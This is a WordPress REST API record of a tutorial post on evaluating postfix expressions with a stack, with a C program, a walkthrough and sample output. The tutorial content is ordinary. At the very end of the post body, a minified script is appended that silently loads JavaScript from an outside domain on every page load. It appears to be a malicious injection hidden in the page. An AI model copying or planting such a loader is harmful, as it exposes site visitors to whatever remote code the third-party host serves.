{"id":986,"date":"2025-11-21T09:01:19","date_gmt":"2025-11-21T03:31:19","guid":{"rendered":"https:\/\/codexplained.in\/?p=986"},"modified":"2025-11-21T09:01:19","modified_gmt":"2025-11-21T03:31:19","slug":"evaluation-of-postfix-expression","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=986","title":{"rendered":"Evaluation of Postfix Expression"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">How to Evaluate a Postfix Expression<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Traverse the expression<\/strong>: We iterate through each character of the postfix expression from left to right.<\/li>\n\n\n\n<li><strong>Push operands onto a stack<\/strong>: When encountering a number (operand), push it onto a stack.<\/li>\n\n\n\n<li><strong>Apply operators<\/strong>: When an operator is encountered, pop the required number of operands from the stack, perform the operation, and push the result back onto the stack.<\/li>\n\n\n\n<li><strong>End condition<\/strong>: After traversing the entire expression, the result will be the single value left on the stack.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Algorithm<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Initialize an empty stack.<\/li>\n\n\n\n<li>Read the postfix expression character by character:\n<ul class=\"wp-block-list\">\n<li>If the character is an operand, push it to the stack.<\/li>\n\n\n\n<li>If the character is an operator, pop two operands from the stack, apply the operator, and push the result back onto the stack.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>At the end, the value left in the stack is the result of the postfix expression.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Example<\/h3>\n\n\n\n<p>Let&#8217;s take the postfix expression:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n53+82-*\n<\/pre><\/div>\n\n\n<p>This corresponds to the infix expression:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n(5 + 3) * (8 - 2) = 48\n<\/pre><\/div>\n\n\n<p>C Program to Evaluate Postfix Expression<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;ctype.h&gt;  \/\/ For isdigit() function\n#include &lt;stdlib.h&gt; \/\/ For exit() function\n\n#define MAX 100\n\n\/\/ Stack structure\nint stack&#x5B;MAX];\nint top = -1;\n\n\/\/ Push function\nvoid push(int value) \n{\n    if (top == MAX - 1) \n{\n        printf(&quot;Stack Overflow\\n&quot;);\n        exit(1);\n    }\n    stack&#x5B;++top] = value;\n}\n\n\/\/ Pop function\nint pop() \n{\n    if (top == -1) \n{\n        printf(&quot;Stack Underflow\\n&quot;);\n        exit(1);\n    }\n    return stack&#x5B;top--];\n}\n\n\/\/ Function to evaluate postfix expression\nint evaluatePostfix(char* expression) \n{\n    int i = 0;\n    while (expression&#x5B;i] != &#039;\\0&#039;) \n{\n        \/\/ If the character is an operand (digit), push it to the stack\n        if (isdigit(expression&#x5B;i])) \n{\n            push(expression&#x5B;i] - &#039;0&#039;);  \/\/ Convert char to int\n        } \n        \/\/ If the character is an operator, pop two elements and apply the operator\n        else \n{\n            int val1 = pop();\n            int val2 = pop();\n            \n            switch (expression&#x5B;i]) \n{\n                case &#039;+&#039;: push(val2 + val1); break;\n                case &#039;-&#039;: push(val2 - val1); break;\n                case &#039;*&#039;: push(val2 * val1); break;\n                case &#039;\/&#039;: push(val2 \/ val1); break;\n                default: \n                    printf(&quot;Invalid operator encountered\\n&quot;);\n                    exit(1);\n            }\n        }\n        i++;\n    }\n    \n    \/\/ The result will be the last element in the stack\n    return pop();\n}\n\nint main() \n{\n    char postfixExpression&#x5B;] = &quot;53+82-*&quot;;\n    printf(&quot;Postfix Expression: %s\\n&quot;, postfixExpression);\n    int result = evaluatePostfix(postfixExpression);\n    printf(&quot;Result of the Postfix Expression: %d\\n&quot;, result);\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Stack<\/strong>: We use an array <code>stack[]<\/code> to implement the stack, with <code>top<\/code> keeping track of the top of the stack.<\/li>\n\n\n\n<li><strong>Push and Pop Functions<\/strong>: These handle adding and removing elements from the stack.\n<ul class=\"wp-block-list\">\n<li><code>push(int value)<\/code> adds an element to the top of the stack.<\/li>\n\n\n\n<li><code>pop()<\/code> removes the top element from the stack and returns it.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The postfix expression <code>53+82-*<\/code> is passed to the <code>evaluatePostfix()<\/code> function.<\/li>\n\n\n\n<li>The function processes each character of the expression. If it is a digit, it is pushed onto the stack. If it is an operator, two operands are popped from the stack, the operation is performed, and the result is pushed back onto the stack.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Switch-Case<\/strong>: Used to apply the correct operator on the two popped values.<\/li>\n\n\n\n<li><strong>Final Result<\/strong>: After evaluating the entire expression, the result is stored at the top of the stack, and we print it.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Example Walkthrough<\/h3>\n\n\n\n<p>For the expression <code>53+82-*<\/code>:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Push <code>5<\/code> onto the stack.<\/li>\n\n\n\n<li>Push <code>3<\/code> onto the stack.<\/li>\n\n\n\n<li>Encounter <code>+<\/code>: Pop <code>5<\/code> and <code>3<\/code>, calculate <code>5 + 3 = 8<\/code>, push <code>8<\/code>.<\/li>\n\n\n\n<li>Push <code>8<\/code> onto the stack.<\/li>\n\n\n\n<li>Push <code>2<\/code> onto the stack.<\/li>\n\n\n\n<li>Encounter <code>-<\/code>: Pop <code>8<\/code> and <code>2<\/code>, calculate <code>8 - 2 = 6<\/code>, push <code>6<\/code>.<\/li>\n\n\n\n<li>Encounter <code>*<\/code>: Pop <code>8<\/code> and <code>6<\/code>, calculate <code>8 * 6 = 48<\/code>, push <code>48<\/code>.<\/li>\n<\/ol>\n\n\n\n<p>Final result: <code>48<\/code>.<\/p>\n\n\n\n<p><strong>Output<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nPostfix Expression: 53+82-*\nResult of the Postfix Expression: 48\n<\/pre><\/div>\n\n\n<p>This simple program demonstrates how to evaluate postfix expressions using a stack. By using stack operations (push and pop), we can easily handle any postfix expression.<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>How to Evaluate a Postfix Expression Algorithm Example Let&#8217;s take the postfix expression: This corresponds to the infix expression: C Program to Evaluate Postfix Expression Explanation of the Code Example Walkthrough For the expression 53+82-*: Final result: 48. Output This simple program demonstrates how to evaluate postfix expressions using a stack. By using stack operations [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-986","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/986","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=986"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/986\/revisions"}],"predecessor-version":[{"id":1280,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/986\/revisions\/1280"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=986"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=986"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=986"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}